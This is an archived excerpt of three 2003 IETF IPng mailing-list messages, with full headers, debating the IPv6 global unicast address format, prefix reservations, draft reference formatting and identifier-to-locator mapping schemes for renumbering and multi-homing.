IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 22:34:52 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h116YpQb000016;
	Fri, 31 Jan 2003 22:34:51 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h116Ypdn000015;
	Fri, 31 Jan 2003 22:34:51 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h116YkQb000008
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 22:34:48 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h116YsVK003859
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 22:34:54 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA15975
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 23:34:48 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h116YgQ31245;
	Sat, 1 Feb 2003 08:34:43 +0200
Date: Sat, 1 Feb 2003 08:34:42 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
cc: Bob Hinden <hinden@iprg.nokia.com>, <ipng@sunroof.eng.sun.com>
Subject: RE: I-D ACTION:draft-ietf-ipv6-unicast-aggr-v2-00.txt
In-Reply-To: <963621801C6D3E4A9CF454A1972AE8F5B952@server2000.arneill-py.sacramento.ca.us>
Message-ID: <Pine.LNX.4.44.0302010832460.31215-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Fri, 31 Jan 2003, Michel Py wrote:
> > The specific format of global unicast address under the 2000::/3
> > prefix is:
> > | 3 |     n bits         | 61-n bits |       64 bits              |
> > +---+--------------------+-----------+----------------------------+
> > |001|  routing prefix    | subnet ID |       interface ID         |
> > +---+--------------------+-----------+----------------------------+
> 
> I have a dumb question about this: I read a while ago in some RIR
> documents about the "hard boundary" at /64 and the "soft boundary" at
> /48. Technically, the subnet ID can have any number of bits, but I
> thought we would want to encourage the use of 16 subnet ID bits, which
> would make n=45.
> 
> I think there could be something such as a recommendation or a should in
> the draft.

I disagree about recommendations on this to-be-normative RFC.  An
informative reference for recomendations in the IESG/IAB document is most
that could be acceptable.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 22:37:18 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h116bHQb000031;
	Fri, 31 Jan 2003 22:37:17 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h116bGwL000030;
	Fri, 31 Jan 2003 22:37:16 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h116bDQb000022
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 22:37:13 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h116bMVK004053
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 22:37:22 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA03865
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 22:37:16 -0800 (PST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h116bCS31255;
	Sat, 1 Feb 2003 08:37:12 +0200
Date: Sat, 1 Feb 2003 08:37:12 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Bob Hinden <hinden@iprg.nokia.com>
cc: ipng@sunroof.eng.sun.com
Subject: Re: I-D ACTION:draft-ietf-ipv6-unicast-aggr-v2-00.txt
In-Reply-To: <4.3.2.7.2.20030131163516.0270bcd0@mailhost.iprg.nokia.com>
Message-ID: <Pine.LNX.4.44.0302010834490.31215-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Fri, 31 Jan 2003, Bob Hinden wrote:
> >But I'm not sure it can.
> >
> >I, for one, am very adamantly against reserving 2000:0001::/32.  That
> >wastes a complete 2000::/16 (if, for some purposes, a whole /16 or first
> >parts of it are needed). An extremely bad idea, IMO.  I'd recommend taking
> >something from 2001, like 2001:0001::/32 or 2001:FFFF::/32.
> 
> I viewed it as opening up the rest of the 2000::/16 prefix for /32 
> allocations.  Currently all of 2000::/16 is reserved in
> 
>    http://www.iana.org/assignments/ipv6-tla-assignments
> 
> I guess it depends on how one looks at it.

Yes, I'd like to keep it for something more "special", yet to come.
 
> > > >5.0 References
> > > >
> > > >==> split the references.
> > >
> > > Why?  Most are normative or very static.
> >
> >Because otherwise the draft will get bounced back when the AD checks for
> >ID-nits, and because it's required before it can get to the RFC editor..
> 
> For practical purposes they are all normative.  It if helps, I can say that 
> in the next version of the draft.

Yes, that would be a right thing to do, I think.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 23:27:58 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h117RwQb000326;
	Fri, 31 Jan 2003 23:27:58 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h117RvKs000325;
	Fri, 31 Jan 2003 23:27:57 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h117RsQb000318
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 23:27:54 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h117S3VL002872
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 23:28:03 -0800 (PST)
Received: from ss10.danlan.com (ss10.danlan.com [199.33.144.62])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA27976
	for <ipng@sunroof.eng.sun.com>; Sat, 1 Feb 2003 00:27:56 -0700 (MST)
Received: (from ddl@localhost)
	by ss10.danlan.com (8.9.3/8.9.3) id CAA25994;
	Sat, 1 Feb 2003 02:27:52 -0500 (EST)
Date: Sat, 1 Feb 2003 02:27:52 -0500 (EST)
From: Dan Lanciani <ipng-incoming@danlan.com>
Message-Id: <200302010727.CAA25994@ss10.danlan.com>
To: ipng@sunroof.eng.sun.com
Subject: Re: Enforcing unreachability of site local addresses
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

David Conrad <david.conrad@nominum.com> wrote:

|Again, in the vein of willing suspension of disbelief...
|
|On Friday, January 31, 2003, at 04:55  PM, Dan Lanciani wrote:
|> Using name strings may be no more difficult with respect to the 
|> implementation
|> of the name service, but it leverages far less existing code than 
|> would a fixed-
|> length binary identifier.
|
|Right.
|
|> Consider the advantages of using an identifier that
|> has exactly the same format as what we currently call an address, 
|> i.e., 128
|> bits.
|
|Or, better yet, 64 bits.  Say, the lower 64 bits of a 128 bit value?.

Sure, this has been proposed before, but I think the main complaint was
that 64 bits is no longer enough for the wasteful allocation policies we
have adopted.  I used 128 bits in my original proposal just to avoid the
objection that we would be giving anything up in that respect.

|> With translation happening near the bottom of the IP layer, no changes
|> would be necessary in tcp or in applications.
|
|No translation would be necessary.

You have to translate somewhere, if not at the bottom of the host's stack
then at what you are calling edge routers.

|> With a little care, multi-homing could be supported.
|
|Multi-homing would be trivial.

Some care would be required to get failover to work.  This isn't completely
trivial, but it need not be a big deal.

|The lower 64 bits of the destination would be put into an 
|in-addr.arpa-like tree,

I like my specialized mapping service, but sure...

|Renumbering thereby becomes merely an exercise in modifying the end 
|point 64 bit in-addr.arpa-like entry and waiting for the cache entry to 
|time out.

I proposed to short-circuit the timeout by having nodes try where possible
to give a hint to known peers that a renumbering event had occurred.  This
can also be handled either at the end points or at the edge routers.

There is an infinite variety of these mapping schemes, most any one of which
would solve the portable identifier problem.  Unfortunately, proposing one
always provokes someone to claim that: (a) solving the portable identifier
problem is equivalent to solving the non-aggregated routing problem and (b)
we do not know how to solve the non-aggregated routing problem therefore (c)
the portable identifier problem cannot be solved so easily.  Of course (a) is
likely true in the sense that the solutions are isomorphic in some abstract way.
We are really talking about source routing with an extra level of indirection
to make the route look more like an address.  That's not entirely unreasonable
given that the locator addresses we use in a hierarchical allocation system are
really close to being routes.

				Dan Lanciani
				ddl@danlan.*com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------